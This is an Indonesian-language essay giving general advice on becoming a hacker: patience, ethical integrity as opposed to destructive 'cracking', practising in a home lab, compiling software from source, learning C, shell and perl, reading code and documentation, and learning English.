Demikian pertanyaan yang kerap diajukan kepada saya. Pertanyaan ini memang singkat, tapi jawabannya bisa sangat panjang. Berikut ini jawaban singkat saya. Pertama-tama, untuk menjadi pakar di sebuah bidang dibutuhkan waktu. Tidak bisa menjadi hacker dalam satu atau dua minggu saja. Kalau menjadi script kiddies (yang hanya biasa menjalankan program) sih bisa saja. Tapi, biasanya ini menjadi bahan tertawaan. Sama halnya untuk menjadi seorang pemain sepak bola yang jagoan, atau menjadi musisi yang andal, dibutuhkan waktu untuk berlatih tahunan. Seperi halnya seorang ibu yang hamil, dibutuhkan waktu sekitar 9 bulan sebelum anaknya lahir. Bayi tidak bisa dipaksakan untuk lahir dalam waktu 1 bulan tanpa menimbulkan masalah. Untuk itu, dibutuhkan kesabaran untuk belajar, banyak membaca, berlatih, dan praktik. Jangan terburu-buru. Sabar! Yang kedua, perlu diperhatikan masalah integritas.
Menjadi hacker bukanlah menjadi orang yang senang merugikan dan merusak milik orang lain. Yang itu namanya cracker. Rugi dan percuma untuk menjadi cracker. Jika kita nakal dan merusak, maka orang lain tidak akan memberikan kesempatan kepada kita untuk belajar, apalagi untuk bekerja. (Apakah Anda akan mempercayai maling untuk belajar di rumah Anda? Apalagi untuk bekerja?) Jadilah orang yang jujur dan memiliki etos kerja yang tinggi. Khususnya di bidang keamanan (security), integritas ini biasanya lebih diutamakan ketimbang kemampuan (skill). Buatlah “laboratorium” sendiri. Cara untuk melatih diri adalah dengan menggunakan komputer sendiri (tidak perlu merusak komputer orang lain). Harga komputer (bekas) sudah tidak mahal lagi. Tidak usah pakai komputer yang hebat-hebat. Komputer di rumah saya masih ada yang Pentium (I) 90MHz. (Bahkan ketika saya mulai bermain dengan Linux, computer saya hanya sekadar 386 SX, 16MHz, 2MB RAM.) Jika perlu, buat sebuah LAN yang paling tidak berisi dua komputer untuk mempraktikkan konsep LAN. Untuk menghubungkan dua buah komputer, tidak perlu pakai hub, cukup dengan menggunakan kabel UTP yang di-cross. Banyak-banyak bereksperimen di laboratorium ini.
Contohnya, coba rakit (compile) kernel Linux, jangan hanya sekadar memasang (install) dari CD saja. Jika sudah berhasil, coba juga untuk merakit program dari GNU, misalnya coba rakit paket C compiler gcc. Dengan banyak merakit program dari source code, kita menjadi terbiasa dengan dialek-dialek programming yang sering digunakan oleh programmer atau hacker hebat. Dalam sebuah komunitas biasanya ada bahasa tertentu yang digunakan. Program atau tools yang ada biasanya menggunakan bahasa C, oleh sebab itu coba kuasai bahasa C. Setelah itu, kuasai juga shell (sh atau bash) script atau perl script karena banyak tools yang bentuknya merupakan scripting. Bahasa-bahasa pemrograman yang lain juga bagus untuk dipelajari, akan tetapi C, sh, dan perl merupakan bahasa yang utama untuk hacker.
Berguru kepada orang lain dapat dilakukan secara fisik, yaitu memang benar-benar dating bertemu dan melihat cara dia bekerja. Cara lain adalah dengan mengamati hasil karya guru tersebut dengan melihat source code dari program atau tools yang dia buat. Lagi-lagi
kemampuan membaca sangat penting. Membaca source code buatan orang lain pada mulanya memang tidak mudah. Namun kalau sudah sering dan kebetulan source code itu dibuat dengan baik karena disertai dengan komentar, maka membacanya lebih mudah. Selain source code, tools tersebut seringkali disertai dengan dokumentasi tentang konsep dan cara kerjanya. Baca juga dokumentasi ini. Bolak-balik di tulisan ini mengajak Anda untuk membaca. Memang membaca merupakan salah satu cara utama untuk meningkatkan ilmu. Saat ini sudah banyak buku komputer, pemrograman, dan Internet.
Sayangnya, buku-buku ini kebanyakan untuk level pemula dan belum banyak yang terjun ke topik yang lebih dalam karena mungkin tidak ada pasarnya. Saya sarankan juga untuk belajar bahasa Inggris, karena suka tidak suka informasi dan bacaan terbaru (ataupun bacaan yang klasik) masih dalam bahasa Inggris. Yes?
Catatan : ...hacker bukanlah menjadi orang yang senang merugikan dan merusak milik orang lain...